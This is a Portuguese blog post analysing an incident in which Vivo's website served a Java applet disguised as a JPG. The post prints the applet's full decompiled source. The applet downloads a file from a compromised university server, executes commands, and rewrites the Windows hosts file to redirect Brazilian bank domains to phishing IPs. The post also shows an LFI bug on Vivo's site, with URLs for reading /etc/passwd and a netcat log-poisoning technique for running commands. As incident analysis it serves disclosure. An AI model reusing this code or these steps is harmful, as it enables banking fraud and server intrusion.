Na noite de ontem tivemos um incidente de segurança envolvendo a maior empresa de celular do país, a Vivo.
Eu e alguns amigos da área de segurança da informação estavamos acompanhando desde o inicio, quando tudo ainda estava no ar, e espero trazer uma análise detalhada do que aconteceu.
Vale lembrar que nem todos os servidores da Vivo que faziam parte do balanceamento de carga foram comprometidos, portanto, nem sempre era possível acessar o código Java utilizado. Em alguns casos, era necessário dar “reload” várias vezes para conseguir acessar o site hospedado no servidor comprometido.
Mas vamos ao que interessa.
Ao acessar o site da Vivo (http://www.vivo.com.br/portal/home.php), era possível perceber uma atividade do Java no computador. Quando analisamos o código fonte do site, identificamos o seguinte trecho de código:
<applet name=”Vivo Online – IMPORTANTE: (Para executar corretamente o Vivo Online clique em `Run´.)” code=”laa.class” archive=”http://www.vivo.com.br/portal/co/logo_top.jpg” width=”0″ height=”0″><param name=”Vivo Online” value=”"></applet>
Então, fizemos download do arquivo http://www.vivo.com.br/portal/co/logo_top.jpg, que tem a extensão de um arquivo de imagem qualquer, porém se tratava de um arquivo compactado, um JAR.
$ unzip logo_top.jpg
Archive: logo_top.jpg
inflating: META-INF/MANIFEST.MF
inflating: META-INF/VIVOO.SF
inflating: META-INF/VIVOO.RSA
inflating: laa.class
inflating: .classpath
inflating: .project
$
Que tal olharmos o nosso arquivo class, para estudar e entender o que o código faz?
Decompilando o arquivo laa.class, temos:
import java.applet.Applet;
import java.awt.Color;
import java.awt.Graphics;
import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.io.FileWriter;
import java.io.IOException;
import java.io.InputStream;
import java.net.URL;
import java.net.URLConnection;
public class laa extends Applet
{
public void paint(Graphics g)
{
g.setColor(Color.red);
g.drawString(“…”, 5, 10);
}
public void H32A(String URLexterna, String SalvarComo)
{
try
{
int i;
File files = new File(SalvarComo);
boolean exists = files.exists();
if (exists)
return;
URL url = new URL(URLexterna);
URLConnection connection = url.openConnection();
InputStream stream = connection.getInputStream();
BufferedInputStream in = new BufferedInputStream(stream);
FileOutputStream file = new FileOutputStream(SalvarComo);
BufferedOutputStream out = new BufferedOutputStream(file);
while ((i = in.read()) != -1)
out.write(i);
out.flush();
out.close();
}
catch (IOException localIOException)
{
}
}
public void H32C(String HostIP, String HostURL)
{
try {
File file = new File(“\\WINDOWS\\system32\\drivers\\etc\\hosts”);
FileWriter filewriter = new FileWriter(file, true);
filewriter.write(HostIP + ” ” + HostURL + System.getProperty
(“line.separator”));
filewriter.close();
}
catch (Exception localException)
{
}
}
public void teste(String valor)
{
try {
Runtime.getRuntime().exec(valor);
}
catch (IOException localIOException)
{
}
}
public void cocodegalinha() {
try {
int i;
File files = new File(“c:\\NOSO072009BETA3ba.log”);
boolean exists = files.exists();
if (exists)
return;
URL url = new URL
(“http://goos.io.usp.br/tikiwiki/img/wiki/dedi/mais.php”);
URLConnection connection = url.openConnection();
InputStream stream = connection.getInputStream();
BufferedInputStream in = new BufferedInputStream(stream);
FileOutputStream file = new FileOutputStream
(“c:\\NOSO072009BETA3ba.log”);
BufferedOutputStream out = new BufferedOutputStream(file);
while ((i = in.read()) != -1)
out.write(i);
out.flush();
out.close();
H32C(“”, “”);
H32C(“69.162.114.180″, “santander.com.br”);
H32C(“69.162.114.180″, “www.santander.com.br”);
H32C(“69.162.114.181″, “itau.com.br”);
H32C(“69.162.114.181″, “www.itau.com.br”);
H32C(“69.162.114.181″, “www.itau.com”);
H32C(“69.162.114.181″, “itau.com”);
H32C(“69.162.114.181″, “itaupersonnalite.com.br”);
H32C(“69.162.114.181″, “www.itaupersonnalite.com.br”);
H32C(“69.162.114.182″, “www.bradesco.com.br”);
H32C(“69.162.114.182″, “bradesco.com.br”);
H32C(“69.162.114.182″, “www.bradesco.com”);
H32C(“69.162.114.182″, “bradesco.com”);
H32C(“69.162.114.182″, “www.bradescoempresa.com.br”);
H32C(“69.162.114.182″, “bradescoempresa.com.br”);
H32C(“69.162.114.182″, “www.bradescoprime.com.br”);
H32C(“69.162.114.182″, “bradescoprime.com.br”);
H32C(“69.162.114.182″, “bradescocartoes.com.br”);
H32C(“69.162.114.182″, “www.bradescocartoes.com.br”);
H32C(“69.162.114.179″, “www.nossacaixa.com.br”);
H32C(“69.162.114.179″, “nossacaixa.com.br”);
}
catch (IOException localIOException)
{
}
}
public void init()
{
cocodegalinha();
}
}
Analisando o código acima, podemos ver que o programa tenta criar um arquivo “\WINDOWS\system32\drivers\etc\hosts” no computador da vítima.
Esse arquivo contém mapeamentos de endereços IP para nomes de host. O Windows faz a consulta primeiro nesse arquivo, para então tentar resolver o host através de um servidor DNS. Portanto, com essas entradas no arquivo hosts, o atacante pretendia fazer com que as vítimas, ao tentar acessar alguns sites bancários, fossem direcionadas para sites falsos, cujos endereços IP podem ser vistos no próprio código fonte acima e acessados da seguinte maneira:
http://69.162.114.179/
http://69.162.114.180/
http://69.162.114.181/
http://69.162.114.182/
Outro endereço que foi possível obter no código fonte é um endereço da Universidade de São Paulo, a USP.
Provavelmente, a USP também teve um servidor comprometido e foi usado nesse ataque.
Segue o endereço, que já foi removido: http://goos.io.usp.br/tikiwiki/img/wiki/dedi/mais.php
Como ainda conseguimos acompanhar tudo ontem, todos os endereços funcionavam perfeitamente, e me chamou a atenção o seguinte endereço: http://goos.io.usp.br/tikiwiki/img/wiki/
Ao acessar o endereço anterior, existia um formulário onde era passada uma lista de e-mail, para ser feito spam.
Analisando esse formulário, tinhamos o seguinte conteúdo:
…
<form action=http://www.vivo.com.br/roaminginternacional/popup.php?url=/var/spool/mail/apache&e= method=POST enctype=multipart/form-data>
Arquivo: <input type=file name=file><br>
<input type=submit value=Enviar>
…
Opa! Olha onde o formulário esta fazendo POST! Provavelmente, esse formulário era usado para enviar SPAM através do próprio servidor da Vivo. E tem mais, esse formulário nos revela um bug no site da Vivo, que foi bastante discutido ontem e vi muita gente postando no Twitter.
Portanto, foi possível perceber um problema de segurança no site da Vivo conhecido por Local File Inclusion (LFI) apenas analisando esse formulário utilizando pelos atacantes.
Com um LFI é possível executar comandos dentro do servidor, além de ler arquivos no mesmo.
Por exemplo, era possível ler o arquivo /etc/passwd, acessando através de um navegador web o seguinte endereço:
http://www.vivo.com.br/roaminginternacional/popup.php?url=/etc/passwd
Também era possível acessar informações sobre a rede da Vivo, acessando: http://www.vivo.com.br/roaminginternacional/popup.php?url=/etc/hosts
E além de tudo, possivelmente dava para executar comandos no servidor da Vivo. Para isso, uma das técnicas que normalmente pode ser usada para essa finalidade consiste em enviar uma requisição para o servidor, adicionando um comando PHP dentro do arquivo de Log do Apache, e posteriormente, dar um include nesse arquivo de log, bastando acessar http://www.vivo.com.br/roaminginternacional/popup.php?url=/var/log/apache/error.log (considerando que esse é o caminho do arquivo de log).
Exemplo:
$ nc www.vivo.com.br 80
GET <? passthru(\$_GET[cmd]) ?> HTTP/1.1$
E depois, acessando o arquivo de log:
http://www.vivo.com.br/roaminginternacional/popup.php?url=/var/log/apache/error.log&cmd=id
Até ontem a noite, o contador de infectados já chegava em 80 mil usuários!!
Portanto, com uma análise rápida feita na noite de ontem, foi possível, além de identificar a fraude e alteração do site da Vivo, identificar um problema de segurança sério no site da Vivo, fácil de ser corrigido e que provavelmente foi usado para ganhar acesso ao servidor e alterar o site da empresa, infectando mais de 80 mil visitantes em poucos minutos.
Comentários?